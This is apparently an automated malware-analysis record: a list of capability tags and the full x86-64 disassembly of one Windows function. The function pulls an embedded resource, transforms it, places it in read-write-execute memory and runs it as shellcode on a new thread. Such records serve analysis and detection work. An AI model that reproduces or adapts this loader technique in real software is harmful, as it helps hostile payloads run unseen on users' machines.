Function at 0x140002e90
Capabilities:
Allocate or change rwx memory
Create thread
Extract resource via kernel32 functions
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r14
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0xc0
mov rax, qword [0x140008010]
xor rax, rsp
mov qword [rbp + 0x47], rax
lea r8, [0x140006554]
mov edx, 0x67
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindResourceA]
mov rdi, rax
test rax, rax
je 0x140003164
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
je 0x140003164
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rdx, rdi
xor ecx, ecx
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_SizeofResource]
xor r14d, r14d
xorps xmm0, xmm0
mov esi, eax
mov ecx, r14d
mov qword [rbp - 1], rcx
mov edx, 0xf
mov qword [rbp + 7], rdx
movups xmmword [rbp - 0x11], xmm0
mov byte [rbp - 0x11], cl
test eax, eax
je 0x140002f75
mov edi, esi
nop
movzx r9d, byte [rbx]
cmp rcx, rdx
jae 0x140002f59
lea rax, [rcx + 1]
cmp rdx, 0x10
mov qword [rbp - 1], rax
lea rax, [rbp - 0x11]
cmovae rax, qword [rbp - 0x11]
mov byte [rax + rcx], r9b
mov byte [rax + rcx + 1], r14b
jmp 0x140002f62
lea rcx, [rbp - 0x11]
call fcn.140002c70
inc rbx
sub rdi, 1
je 0x140002f75
mov rdx, qword [rbp + 7]
mov rcx, qword [rbp - 1]
jmp 0x140002f30
movdqa xmm1, xmmword [0x140006560]
xorps xmm0, xmm0
movups xmmword [rbp + 0xf], xmm0
mov ecx, 0x48
mov byte [rbp + 0xf], r14b
mov qword [rbp + 0x3f], r14
movdqu xmmword [rbp + 0x1f], xmm1
mov qword [rbp + 0x37], r14
call fcn.1400031c8
lea rdx, [rbp - 0x11]
lea rcx, [rbp - 0x39]
mov qword [rax], rax
mov qword [rax + 8], rax
mov qword [rax + 0x10], rax
mov word [rax + 0x18], 0x101
mov qword [rbp + 0x2f], rax
call fcn.140002a00
mov rbx, rax
lea rax, [rbp + 0xf]
cmp rax, rbx
je 0x140002fe7
cmp qword [rbx + 0x18], 0x10
mov rdx, rbx
jb 0x140002fda
mov rdx, qword [rbx]
mov r8, qword [rbx + 0x10]
lea rcx, [rbp + 0xf]
call fcn.140002b10
mov rdx, qword [rbx + 0x18]
cmp rdx, 0x10
jb 0x140003021
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x14000301c
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140003158
mov rcx, r8
call fcn.1400031c0
lea rcx, [rbp + 0xf]
mov qword [rbx + 0x10], r14
mov qword [rbx + 0x18], 0xf
mov byte [rbx], r14b
call fcn.140002420
cmp qword [rbp + 0x27], 0x10
lea rdi, [rbp + 0xf]
mov r9d, 0x20
mov dword [rbp - 0x19], 1
cmovae rdi, qword [rbp + 0xf]
mov r8d, 0x1000
xor ecx, ecx
mov rdx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
lea r9, [rbp - 0x19]
mov r8d, 0x40
mov rcx, rax
mov rdx, rsi
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r8, rsi
mov rdx, rdi
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
xor r9d, r9d
mov qword [rsp + 0x28], r14
mov r8, rbx
mov dword [rsp + 0x20], r14d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov r8, qword [rbp + 0x2f]
lea rdx, [rbp + 0x2f]
lea rcx, [rbp + 0x2f]
mov r8, qword [r8 + 8]
call fcn.140002dd0
mov rcx, qword [rbp + 0x2f]
mov edx, 0x48
call fcn.1400031c0
mov rdx, qword [rbp + 0x27]
cmp rdx, 0x10
jb 0x14000310e
mov rcx, qword [rbp + 0xf]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003109
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003151
call fcn.1400031c0
mov rdx, qword [rbp + 7]
movdqa xmm0, xmmword [0x140006560]
mov byte [rbp + 0xf], r14b
movdqu xmmword [rbp + 0x1f], xmm0
cmp rdx, 0x10
jb 0x140003164
mov rcx, qword [rbp - 0x11]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000315f
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000315f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400031c0
xor eax, eax
mov rcx, qword [rbp + 0x47]
xor rcx, rsp
call fcn.1400031a0
lea r11, [rsp + 0xc0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret